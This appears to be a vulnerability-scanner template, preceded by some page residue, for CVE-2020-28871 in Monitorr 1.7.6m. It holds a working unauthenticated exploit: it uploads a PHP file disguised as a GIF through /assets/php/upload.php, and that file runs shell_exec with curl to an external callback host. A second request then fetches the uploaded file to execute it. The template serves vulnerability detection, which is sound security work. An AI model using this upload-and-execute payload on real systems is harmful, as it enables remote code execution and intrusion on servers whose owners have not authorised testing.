66 lines
2.4 KiB
YAML
66 lines
2.4 KiB
YAML
id: CVE-2020-28871
|
|
|
|
info:
|
|
name: Monitorr 1.7.6m - Unauthenticated Remote Code Execution
|
|
author: gy741
|
|
severity: critical
|
|
description: Monitorr 1.7.6m is susceptible to a remote code execution vulnerability. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/48980
|
|
- https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-28871
|
|
- http://packetstormsecurity.com/files/163263/Monitorr-1.7.6m-Bypass-Information-Disclosure-Shell-Upload.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-28871
|
|
cwe-id: CWE-434
|
|
cpe: cpe:2.3:a:monitorr_project:monitorr:*:*:*:*:*:*:*:*
|
|
epss-score: 0.96822
|
|
metadata:
|
|
max-request: 2
|
|
tags: unauth,cve,fileupload,monitorr,oast,edb,intrusive,packetstorm,cve2020,rce
|
|
|
|
variables:
|
|
useragent: '{{rand_base(6)}}'
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /assets/php/upload.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept-Encoding: gzip, deflate
|
|
Accept: text/plain, */*; q=0.01
|
|
Connection: close
|
|
Accept-Language: en-US,en;q=0.5
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Type: multipart/form-data; boundary=---------------------------31046105003900160576454225745
|
|
Origin: http://{{Hostname}}
|
|
Referer: http://{{Hostname}}
|
|
|
|
-----------------------------31046105003900160576454225745
|
|
Content-Disposition: form-data; name="fileToUpload"; filename="{{randstr}}.php"
|
|
Content-Type: image/gif
|
|
|
|
GIF89a213213123<?php shell_exec("curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'");
|
|
|
|
-----------------------------31046105003900160576454225745--
|
|
|
|
- |
|
|
GET /assets/data/usrimg/{{tolower("{{randstr}}.php")}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http"
|
|
|
|
- type: word
|
|
part: interactsh_request
|
|
words:
|
|
- "User-Agent: {{useragent}}"
|
|
|
|
# Enhanced by mp on 2022/03/27
|